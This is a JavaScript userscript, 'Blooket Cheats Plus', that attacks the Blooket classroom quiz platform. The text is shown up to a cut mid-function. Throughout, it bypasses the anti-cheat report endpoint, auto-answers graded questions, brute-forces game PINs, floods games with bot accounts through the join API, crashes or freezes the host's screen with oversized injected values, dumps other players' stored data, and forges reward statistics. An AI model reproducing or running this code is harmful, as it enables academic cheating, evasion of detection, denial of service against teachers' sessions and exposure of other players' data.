// ==UserScript==
// @name Blooket Cheats Plus
// @namespace https://github.com/Blooket-Cheats
// @version 15.50
// @description cheats
// @license MIT RYlan Rude
// @author Rylan Rude
// @match https://dashboard.blooket.com/*
// @match https://play.blooket.com/*
// @match https://towerdefense2.blooket.com/*
// @match https://monsterbrawl.blooket.com/*
// @match https://towerdefense.blooket.com/*
// @match https://cafe.blooket.com/*
// @match https://factory.blooket.com/*
// @match https://crazykingdom.blooket.com/*
// @match https://towerofdoom.blooket.com/*
// @match https://goldquest.blooket.com/*
// @match https://cryptohack.blooket.com/*
// @match https://fishingfrenzy.blooket.com/*
// @match https://deceptivedinos.blooket.com/*
// @match https://battleroyale.blooket.com/*
// @match https://racing.blooket.com/*
// @match https://blookrush.blooket.com/*
// @match https://classic.blooket.com/*
// @match https://pirate.blooket.com/*
// @icon https://i.ibb.co/sWqBm0K/1024.png
// @grant none
// @require https://unpkg.com/[email protected]/dist/umd.js
// ==/UserScript==
(async () => {
if (String(window.fetch.call).includes("native")) {
var e = window.fetch.call;
window.fetch.call = function() {
if (!arguments[1].includes("s.blooket.com/rc")) return e.apply(this, arguments);
console.log("You tried to get caught cheating!")
}
} else console.log("already run");
if (console.log("%c Blooket Cheats Plus UPD %c\n By Rylan Rude on GitHub", "color: #0bc2cf; font-size: 3rem", "color: #8000ff; font-size: 1rem"), console.log("%c Mobilegui.js", "color: #0bc2cf; font-size: 1rem"), console.log("%c Star the github repo!%c https://github.com/DannyDan0167/Blooket-Cheats-Plus", "color: #ffd000; font-size: 1rem", ""), document.querySelector("script[src*='bfs/index.js']") && !window.clearId) {
for (var t = document.createElement("iframe"), o = (document.body.appendChild(t), window.clearId = window.setInterval(() => {}, 0)); o--;) t.contentWindow.clearInterval.call(window, o);
t.remove()
} {
var t, o = document.createElement("iframe"),
o = (document.body.append(o), window.alert = o.contentWindow.alert.bind(window), window.prompt = o.contentWindow.prompt.bind(window), window.confirm = o.contentWindow.confirm.bind(window), o.remove(), (e, t = {}) => Object.entries(t).forEach(([t, o]) => e.style[t] = o));
(t = document.createElement("style")).innerHTML = "details > summary { cursor: pointer; transition: 0.15s; list-style: none; } details > summary:hover { color: hsl(0, 0%, 50%) } details > summary::-webkit-details-marker { display: none; } details summary ~ * { animation: sweep .5s ease-in-out; } @keyframes sweep { 0% {opacity: 0; transform: translateY(-10px)} 100% {opacity: 1; transform: translateY(0)} } .cheat { border: none; background: hsl(0, 0%, 20%); padding: 5px; margin: 3px; width: 60%; color: hsl(0, 0%, 100%); transition: 0.2s; border-radius: 5px; cursor: pointer; } .cheat:hover { background: hsl(0, 0%, 30%); }";
let a = document.createElement("div");
[...document.querySelectorAll("#JODMOBILE")].forEach(e => e.remove()), a.id = "JODMOBILE", a.appendChild(t), o(a, {
width: "400px",
background: "hsl(0, 0%, 10%)",
backgroundImage: "linear-gradient(rgba(0, 0, 0, 0.95), rgba(0, 0, 0, 0.95)), url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)",
borderRadius: "10px",
position: "absolute",
textAlign: "center",
fontFamily: "Nunito",
color: "white",
overflow: "hidden",
top: "50px",
left: "50px"
});
var r, n, i = 0,
s = 0,
t = (a.onpointerdown = (e = window.event) => {
e.preventDefault(), i = e.clientX, s = e.clientY, document.onpointerup = () => {
document.onpointerup = null, document.onpointermove = null
}, document.onpointermove = e => {
(e = e || window.event).preventDefault(), r = i - e.clientX, n = s - e.clientY, i = e.clientX, s = e.clientY, a.style.top = a.offsetTop - n + "px", a.style.left = a.offsetLeft - r + "px"
}
}, document.createElement("div")),
l = (a.appendChild(t), o(t, {
width: "100%",
height: "35px",
paddingTop: "2px",
fontSize: "1.5rem",
textAlign: "center"
}), t.innerHTML = 'Blooket GUI UPD <span style="font-size: 0.75rem">v15.50.00</span>', document.createElement("button")),
l = (t.appendChild(l), o(l, {
background: "red",
height: "45px",
width: "45px",
border: "none",
cursor: "pointer",
position: "absolute",
top: "-10px",
right: "-10px",
fontSize: "1.5rem",
borderRadius: "10px",
fontFamily: "Nunito",
fontWeight: "bolder",
paddingTop: "10px",
paddingRight: "15px"
}), l.innerText = "X", l.onclick = () => {
$(), a.remove(), removeEventListener("keypress", f)
}, document.createElement("button"));
t.appendChild(l), o(l, {
background: "#444444",
height: "45px",
width: "45px",
border: "none",
cursor: "pointer",
position: "absolute",
top: "-10px",
left: "-10px",
fontSize: "1.5rem",
borderRadius: "10px",
fontFamily: "Nunito",
fontWeight: "bolder",
paddingTop: "10px",
paddingLeft: "15px"
}), l.innerText = "-", l.onclick = () => c.hidden = !c.hidden;
let c = document.createElement("div"),
d = (t = document.createElement("div"), c.appendChild(t), a.appendChild(c), t.innerHTML = `<span id="curPageEl">${_(!0)?"Current gamemode: "+_(!0):"No game detected"}</span><br><span>(Press E to hide)</span><br>`, t.style.display = "block", t.style.margin = "10px", document.body.append(a), o = document.createElement("div"), c.appendChild(o), o.style.fontSize = "0.9rem", o.style.paddingBottom = "5px", {
global: [{
name: "Auto Answer (Toggle)",
description: "Toggles auto answer on",
type: "toggle",
enabled: (o.innerHTML = '<span><a target="blank" href="https://discord.gg/8A6J234n7v">Discord</a><br/><a target="blank" href="https://github.com/DannyDan0167/Blooket-Cheats-Plus/">GitHub - DannyDan0167</a></span>', !1),
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
let {
state: {
question: e,
stage: t,
feedback: o
},
props: {
client: {
question: a
}
}
} = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
try {
"typing" != e.qType ? ("feedback" === t || o ? document.querySelector('[class*="feedback"]')?.firstChild : [...document.querySelectorAll('[class*="answerContainer"]')][(e || a).answers.map((t, o) => (e || a).correctAnswers.includes(t) ? o : null).filter(e => null != e)[0]])?.click?.() : Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(e.answers[0])
} catch {}
}, 50))
}
}, {
name: "Highlight Answers (Toggle)",
description: "Toggles highlight answers on",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
let {
stateNode: {
state: e,
props: t
}
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
[...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
(e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) ? o.style.backgroundColor = "rgb(0, 207, 119)" : o.style.backgroundColor = "rgb(189, 15, 38)"
})
}, 50))
}
}, {
name: "Subtle Highlight Answers (Toggle)",
description: "Toggles subtle highlight answers on",
type: "toggle",
enabled: !1,
data: null,
run: function() {
this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
let {
stateNode: {
state: e,
props: t
}
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
[...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
(e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) && (o.style.boxShadow = "unset")
})
}, 50))
}
}, {
name: "Freeze Leaderboard",
description: "Freezes the leaderboard on the host's screen",
type: "toggle",
enabled: !1,
data: null,
run: function() {
if (this.enabled) this.enabled = !1, clearInterval(this.data), this.data = null;
else {
this.enabled = !0;
let e = () => {
var e = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode;
e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/tat/Freeze`,
val: "Frozen"
})
};
this.data = setInterval(e, 50)
}
}
}, {
name: "Percent Auto Answer",
description: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
type: "toggle",
enabled: !1,
data: null,
run: function() {
if (this.enabled) this.enabled = !1, clearInterval(this.data), this.data = null;
else {
this.enabled = !0;
let e = parseFloat(prompt("What grade do you want to get from this set? (0-100)"));
for (;
"number" != typeof e || isNaN(e);) e = parseFloat(prompt("What grade do you want to get from this set? (0-100)\nInvalid Number"));
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
this.data = setInterval(e => {
try {
let o = t.state.question || t.props.client.question;
if ("feedback" == t.state.stage || t.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
let a = 0,
r = 0;
for (let n in t.corrects) a += t.corrects[n];
for (let i in t.incorrects) r += t.incorrects[i];
r += a;
let s = 0 == r || Math.abs(a / (r + 1) - e) >= Math.abs((a + 1) / (r + 1) - e);
if ("typing" != t.state.question.qType) {
let l = document.querySelectorAll("[class*='answerContainer']");
for (let c = 0; c < l.length; c++) {
let d = o.correctAnswers.includes(o.answers[c]);
if (s && d || !s && !d) return l[c]?.click?.()
}
l[0].click()
} else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(s ? o.answers[0] : Math.random().toString(36).substring(2))
}
} catch {}
}, 100, (e ?? 100) / 100)
}
}
}, {
name: "Auto Answer",
description: "Click the correct answer for you",
run: function() {
let {
state: {
question: e,
stage: t,
feedback: o
},
props: {
client: {
question: a
}
}
} = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
try {
"typing" != e.qType ? ("feedback" === t || o ? document.querySelector('[class*="feedback"]')?.firstChild : [...document.querySelectorAll('[class*="answerContainer"]')][(e || a).answers.map((t, o) => (e || a).correctAnswers.includes(t) ? o : null).filter(e => null != e)[0]])?.click?.() : Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(e.answers[0])
} catch {}
}
}, {
name: "Highlight Answers",
description: "Colors answers to be red or green highlighting the correct ones",
run: function() {
let {
stateNode: {
state: e,
props: t
}
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
[...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
(e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) ? o.style.backgroundColor = "rgb(0, 207, 119)" : o.style.backgroundColor = "rgb(189, 15, 38)"
})
}
}, {
name: "Subtle Highlight Answers",
description: "Removes the shadow from correct answers",
run: function() {
let {
stateNode: {
state: e,
props: t
}
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
[...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
(e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) && (o.style.boxShadow = "unset")
})
}
}, {
name: "Spam Buy Blooks",
description: "Opens a box an amount of times",
run: async function() {
let e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.prompt = e.contentWindow.prompt.bind(window), window.confirm = e.contentWindow.confirm.bind(window), e.remove();
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, o = Array.from(document.querySelectorAll("[class*='packsWrapper'] > div")).reduce((e, t) => (t.querySelector("[class*='blookContainer'] > img") || (e[t.querySelector("[class*='packImgContainer'] > img").alt] = parseInt(t.querySelector("[class*='packBottom']").textContent)), e), {}), a = prompt('Which box do you want to open? (ex: "Ice Monster")').split(" ").map(e => e.charAt(0).toUpperCase() + e.slice(1).toLowerCase()).join(" "), r = o[a];
if (!r) return alert("I couldn't find that box!");
let n = Math.min(Math.floor(t.state.tokens / r), parseInt(`0${prompt("How many boxes do you want to open?")}`));
if (0 == n) return alert("You do not have enough tokens!");
let i = confirm("Would you like to show blooks as unlocking?"),
s = {},
l = Date.now();
for (let c = 0; c < n; c++) {
await t.buyPack(!0, a), s[t.state.unlockedBlook] ||= 0, s[t.state.unlockedBlook]++;
let d = Date.now();
l += Date.now() - d, t.setState({
canOpen: !0,
currentPack: "",
opening: i,
doneOpening: i,
openPack: i
}), clearTimeout(t.canOpenTimeout)
}
await new Promise(e => setTimeout(e)), alert(`(${Date.now()-l}ms) Results: ${Object.entries(s).map(([e,t])=>` ${e} ${t}`).join(` `)}`)
}
}, {
name: "Remove Name Limit",
description: "Sets the name limit to 120, which is the actual max name length limit",
run: function() {
var e = document.createElement("iframe");
document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), document.querySelector('input[class*="nameInput"]').maxLength = 120, alert("Removed name length limit")
}
}, {
name: "Remove Random Name",
description: "Allows you to put a custom name",
run: function() {
Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
isRandom: !1,
client: {
name: ""
}
}), document.querySelector('[class*="nameInput"]')?.focus?.()
}
}, {
name: "Sell Duplicate Blooks",
description: "Sell all duplicate blooks leaving you with 1 each",
run: async function() {
let e = document.createElement("iframe");
if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.confirm = e.contentWindow.confirm.bind(window), e.remove(), /dashboard.*\/blooks/.test(window.location.href)) {
if (confirm("Are you sure you want to sell your dupes? (Legendaries and rarer will not be sold)")) {
let {
stateNode: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner, o = Date.now(), a = "";
for (let r in t.state.blookData)
if (t.state.blookData[r] > 1) {
if (t.setState({
blook: r,
numToSell: t.state.blookData[r] - 1
}), ["Legendary", "Chroma", "Mystical"].includes(document.querySelector("[class*='highlightedRarity']").innerText.trim())) continue;
a += ` ${r} ${t.state.blookData[r]-1} `, await t.sellBlook({
preventDefault() {}
}, !0)
} alert(`(${Date.now()-o}ms) Results: ${a.trim()}`)
}
} else alert("This can only be ran in the Blooks page.")
}
}, {
name: "Remove all Taken Blooks",
description: "Removes all taken blooks, allowing you to use any taken blook. Only works in lobby.",
run: function() {
const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
stateNode.setState({
takenBlooks: {
includes: e => !1
}
});
stateNode.setState = function(a, b) {
if (a?.takenBlooks) {
return;
}
stateNode.updater.enqueueSetState(stateNode, a, b, "setState");
}
}
}, {
name: "Simulate Unlock",
description: "Simulates unlocking a certain blook",
run: function() {
var unlockedBlook = window.prompt("Enter the blook (Case Sensitive):");
const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
stateNode.setState({
loadingPack: false,
openPack: true,
unlockedBlook,
newUnlock: true,
canOpen: false
});
setTimeout(() => stateNode.setState({
canOpen: true
}), 200);
}
}, {
name: "Freeze Host",
description: "Freezes the host's screen",
run: function() {
const encodedChars = [
'\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
];
const chars = encodedChars.map(char => eval(`"${char}"`));
function makeLongText() {
return new Array(3e+6).fill().map(e => chars[Math.floor(Math.random() * chars.length)]).join("");
}
let {
props: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner.stateNode;
let repeatedText = makeLongText();
t.client.blook = repeatedText;
t.liveGameController.setVal({
path: `c/${t.client.name}/b`,
val: repeatedText
});
}
}, {
name: "Blooket Bot",
description: "Opens Blooket Bot",
run: function() {
function getGameCode() {
const appDiv = document.querySelector('#app>div>div');
if (appDiv) {
const reactComponent = Object.values(appDiv)[1]?.children[0]?._owner;
return reactComponent?.stateNode?.props?.client?.hostId || null;
}
return null;
}
const gameCode = getGameCode();
const url = gameCode ? "https://blooketbot.glitch.me/?code=" + gameCode : "https://blooketbot.glitch.me/";
window.open(url, "_blank", "width=500,height=500,resizable=yes,scrollbars=yes,status=yes");
}
}, {
name: "Lobbychat",
description: "Chat with other people and execute commands",
run: function() {
if (window.run) {
return;
} else {
window.run = true;
}
function e() {
return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner
}
var t = 0,
a = !1;
document.addEventListener("keydown", function(e) {
"`" === e.key && (a = !a, o.style.display = a ? "none" : "block")
});
let o = document.createElement("div");
o.className = "chat-box", document.body.appendChild(o);
let r = document.createElement("div");
r.className = "chat-header", r.textContent = "Chat", o.appendChild(r);
let i = document.createElement("div");
i.className = "chat-body", o.appendChild(i);
let n = document.createElement("input");
function s(e) {
let t = document.createElement("div");
t.textContent = e, i.appendChild(t)
}
n.type = "text", n.className = "chat-input", n.placeholder = "Type a message...", o.appendChild(n), o.style.position = "fixed", o.style.bottom = "20px", o.style.right = "20px", o.style.width = "300px", o.style.backgroundColor = "#fff", o.style.border = "1px solid #ccc", o.style.boxShadow = "0px 0px 10px rgba(0, 0, 0, 0.2)", r.addEventListener("click", () => {
i.classList.toggle("open")
}), n.addEventListener("keydown", function(a) {
13 === a.keyCode && (function a(o) {
var r, n, l, c, d, p, u, h = function e(t) {
if ("/" !== t.charAt(0)) return !1;
var a = t.split(" "),
o = a[0].replace("/", "");
return a.splice(0, 1), {
cmd: o,
args: a
}
}(o);
if (h) switch (h.cmd) {
case "cb":
r = h.args.join(" "), (n = webpackJsonp.push([
[], {
1234(e, t, a) {
t.webpack = a
}
},
[
["1234"]
]
]).webpack("MDrD").a)[r = Object.keys(n).find(e => r.toLocaleLowerCase() === e.toLocaleLowerCase())] ? (s("Setting blook to " + r + "!"), e().stateNode.props.liveGameController.setVal({
id: e().stateNode.props.client.hostId,
path: "c/" + e().stateNode.props.client.name,
val: {
b: r
}
}), e().stateNode.props.client.blook = r) : s("No blook with that name was found!");
break;
case "clear":
i.innerHTML = "";
break;
case "dumpstate":
Object.keys(e().stateNode.state).map(t => {
var a = e().stateNode.state[t];
if (null == a) return "N/A";
Array.from(a) && "object" == typeof a && (a = "[Array]"), s(t + ":" + a)
}).join(";");
break;
case "list":
e().stateNode.props.liveGameController.getDatabaseVal("c").then(e => {
s("Current Players(" + Object.keys(e).length + "): " + Object.keys(e).join(","))
});
break;
case "tlog":
window.logsv = !window.logsv, s("SetVal log set to " + (window.logsv ? "Enabled" : "Disabled"));
break;
case "setval":
l = h.args, e().stateNode.props.liveGameController.setVal({
path: "c/" + e().stateNode.props.client.name + "/" + l[0],
val: l.slice(1, l.length).join(" ")
});
break;
case "setstate":
c = h.args, d = {}, c.forEach(e => {
var t = e.split(":");
Number.isNaN(parseInt(t[1])) || parseInt(t[1]).toString() !== t[1] || (t[1] = parseInt(t[1])), d[t[0]] = t[1]
}), e().stateNode.setState(d), s("Set Successful!");
break;
case "ahelp":
s("Advanced Commands: setval(sets val logged by tlog ex /setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto:5 crypto2:5 etc)");
break;
case "help":
s("Available Commands: help(gives help),ahelp(advanced commands help), cb(changes blook /cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player)), clear(clears chat), code(gives game code), unlock(unlocks blook on lobby screen)");
break;
case "dump":
! function t(a) {
e().stateNode.props.liveGameController.getDatabaseVal("c/" + a).then(e => {
null != e ? s("Dump: " + JSON.stringify(e)) : s("Player not found!")
})
}(h.args.join(" "));
break;
case "unlock":
p = h.args.join(" "), (u = webpackJsonp.push([
[], {
1234(e, t, a) {
t.webpack = a
}
},
[
["1234"]
]
]).webpack("MDrD").a)[p = Object.keys(u).find(e => p.toLocaleLowerCase() === e.toLocaleLowerCase())] ? (e().stateNode.state.unlocks.push(p), e().stateNode.forceUpdate()) : s("No blook with that name was found!");
break;
case "code":
s("Game Code: " + e().stateNode.props.client.hostId);
break;
default:
s("Unrecognized chat command!")
} else e().stateNode.props.liveGameController.setVal({
id: e().stateNode.props.client.hostId,
path: "c/" + e().stateNode.props.client.name + "/msg",
val: {
i: t,
msg: o
}
}), t++
}(a.srcElement.value), a.srcElement.value = "")
});
var l = e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;
function c(e) {
window.logsv && s("Path: " + e.path.split("/").splice(2, 2).join("/") + " Val: " + ("object" == typeof e.val ? JSON.stringify(e.val) : e.val))
}
e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_ = function(e, t, a, o) {
var r, i;
console.log(e, t, a, o), r = e, null != (i = t) && r.includes("/msg") && i?.msg && (console.log(i.msg), s(r.split("/")[2] + ": " + i.msg)), l(e, t, a, o)
}, window.logsv = !1;
var d = e().stateNode.props.liveGameController.setVal;
e().stateNode.props.liveGameController.setVal = function() {
c.apply(this, arguments), d.apply(this, arguments)
}, e().stateNode.props.liveGameController._liveApp.database().ref(`${e().stateNode.props.liveGameController._liveGameCode}`).on("value", e => {}), s("Lobbychat successfully loaded!"), o.style.wordWrap = "break-word"
}
}, {
name: "Pin Guesser",
description: "Brute forces combinations for existing pins",
run: function() {
var e = 0,
t = 0,
o = document.querySelector("div[class*='titleText']");
function a() {
return Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode
}(function r() {
let n = Math.floor(9e6 * Math.random()) + 1e6;
fetch(`https://fb.blooket.com/c/firebase/id?id=${n}`, {
method: "GET",
credentials: "include"
}).then(e => e.json()).then(i => {
!0 === i.success ? (console.log("Game found:", n), o.innerHTML = "Game Found!", a().setState({
client: {
hostId: n.toString()
}
})) : (console.log("No game found for:", n), a().setState({
client: {
hostId: n.toString()
}
}), e++, o.innerHTML = "Guesses: " + e, ++t > 15 ? (setTimeout(r, 1e3), t = 0) : r())
}).catch(e => {
alert("Error:" + e)
})
})()
}
}, {
name: "Crash Game",
description: "Crashes the host's game",
run: function() {
var e = Object.values(function e(t = document.querySelector("#app")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode;
e.props.liveGameController.setVal({
path: `c/${e.props.client.name}/b/toString`,
val: "Crashed"
})
}
}, {
name: "Every Answer Correct",
description: "Sets every answer to be correct",
run: function() {
let {
stateNode: e
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner;
e.freeQuestions = e.freeQuestions?.map?.(e => ({
...e,
correctAnswers: e.answers
})), e.questions = e.questions?.map?.(e => ({
...e,
correctAnswers: e.answers
})), e.props.client.questions = e.props.client.questions.map(e => ({
...e,
correctAnswers: e.answers
}))
}
}, {
name: "Flood Game",
description: "Floods a game with a number of fake accounts",
run: async function() {
let e = document.createElement("iframe");
function t() {
return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode
}
document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
var o = {
randomNames: !1
},
a = t().props.liveGameController._liveApp.firebase;
async function r(e, t) {
let o = await fetch("https://fb.blooket.com/c/firebase/join", {
body: JSON.stringify({
id: e,
name: t
}),
credentials: "include",
method: "PUT"
}).then(e => e.json());
if (o.success) {
let r = a.initializeApp({
apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",
authDomain: "blooket-2020.firebaseapp.com",
projectId: "blooket-2020",
storageBucket: "blooket-2020.appspot.com",
messagingSenderId: "741533559105",
appId: "1:741533559105:web:b8cbb10e6123f2913519c0",
measurementId: "G-S3H5NGN10Z",
databaseURL: o.fbShardURL
});
await r.auth().signInWithCustomToken(o.fbToken);
let n = r.database();
await n.ref(`${e}/c/${t}`).set({
b: "Rainbow Astronaut",
bg: "fire"
}), console.log("Bot joined!")
} else alert("Connect error: " + o.msg)
}
async function n() {
if (!t().props.liveGameController._liveApp) {
alert("You must be in a game for the flooder to work!");
return
}
var e, a = t().props.liveGameController._liveGameCode,
n = parseInt(prompt("Enter number of bots to flood with:"));
if (!n) {
alert("You must use a valid number!");
return
}
if (!o.randomNames) var s = prompt("Enter name of bots:");
for (var l = 0; l < n; l++) await r(a, e = o.randomNames ? i(15) : s + Math.floor(4e3 * Math.random()))
}
function i(e) {
for (var t = "", o = 0; o < e; o++) t += String.fromCharCode(65 + Math.floor(25 * Math.random()));
return t
}
n()
}
}, {
name: "Change Blook Ingame",
description: "Changes your blook",
run: function() {
let i = document.createElement('iframe');
document.body.append(i);
window.prompt = i.contentWindow.prompt.bind(window);
i.remove();
let {
props
} = Object.values((function react(r = document.querySelector("body>div")) {
return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
})())[1].children[0]._owner.stateNode;
props.client.blook = prompt("Blook Name: (Case Sensitive)");;
props.liveGameController.setVal({
path: `c/${props.client.name}/b`,
val: props.client.blook
});
}
}, {
name: "Change Name Ingame",
description: "Changes your name ingame",
run: function() {
var newname = window.prompt("Enter the new name:");
(async () => {
const reactHandler = () => Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
let i = document.createElement('iframe');
document.body.append(i);
let alert = i.contentWindow.alert.bind(window);
i.remove();
async function genToken(name) {
const res = await fetch("https://fb.blooket.com/c/firebase/join", {
body: JSON.stringify({
id: reactHandler().props.client.hostId,
name
}),
headers: {
"Content-Type": "application/json"
},
method: "PUT",
credentials: "include"
}).then(e => e.json());
if (!res.success) {
alert("Error: " + res.msg);
return;
}
return res.fbToken;
}
const oldname = reactHandler().props.client.name;
reactHandler().props.client.name = newname;
const olddata = await reactHandler().props.liveGameController.getDatabaseVal(`c/${oldname}`);
await reactHandler().props.liveGameController.removeVal(`c/${oldname}`);
const token = await genToken(newname);
if (!token) {
return;
}
await reactHandler().props.liveGameController._liveApp.auth().signInWithCustomToken(token);
reactHandler().props.liveGameController._liveApp.auth().onAuthStateChanged(e => {
if (e.uid.split(":")[1] === newname) {
reactHandler().props.liveGameController.setVal({
path: `c/${newname}`,
val: olddata
});
}
});
reactHandler().setState({});
})();
}
}, {
name: "Set Blook Ad Text",
description: "Sets a load of text as your blook and floods the teacher's screen in the lobby",
run: function() {
var text = window.prompt("Enter the text:");
let t = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner.stateNode;
if (!String.prototype.inc) {
String.prototype.inc = String.prototype.includes;
}
String.prototype.includes = function(a) {
if (a == "#" && this.length > 30) {
return true;
}
return String.prototype.inc.apply(this, arguments);
};
let repeatedText = Array(500).fill(text).join(' ');
if (!t.state.unlocks) {
t.client.blook = repeatedText;
}
t.props.liveGameController.setVal({
path: `c/${t.props.client.name}/b`,
val: repeatedText
});
}
}, {
name: "Set Blook Ad Text Ingame",
description: "Sets a load of text as your blook",
run: function() {
var text = window.prompt("Enter the text:");
let {
props: t
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
}())[1].children[0]._owner.stateNode;
let repeatedText = Array(500).fill(text).join(' ');
t.client.blook = repeatedText;
t.liveGameController.setVal({
path: `c/${t.client.name}/b`,
val: repeatedText
});
}
}, {
name: "Get Daily Rewards",
description: "Gets max daily tokens and xp",
run: async function() {
let e = document.createElement("iframe");
if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), location.href.includes("play.blooket.com")) {
let {
t
} = await fetch("https://play.blooket.com/api/playersessions/solo", {
body: JSON.stringify({
gameMode: "Factory",
questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(24 * Math.random())]
}),
credentials: "include",
method: "POST"
}).then(e => e.json());
await fetch("https://play.blooket.com/api/playersessions/landings", {
body: JSON.stringify({
t
}),
credentials: "include",
method: "POST"
}), await fetch("https://play.blooket.com/api/playersessions/questions?t=" + t, {
credentials: "include"
});
let {
name: o,
blook: {
name: a
}
} = Object.values(function e(t = document.querySelector("body>div")) {
return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
}())[1].children[0]._owner.stateNode.props.user.data;
await fetch("https://play.blooket.com/api/users/factorystats", {
body: JSON.stringify({
blookUsed: a,
t,
name: o,
cash: Math.floor(9e7 * Math.random()) + 1e7,
correctAnswers: Math.floor(500 * Math.random()) + 500,
upgrades: Math.floor(300 * Math.random()) + 300,
mode: "Time-Solo",
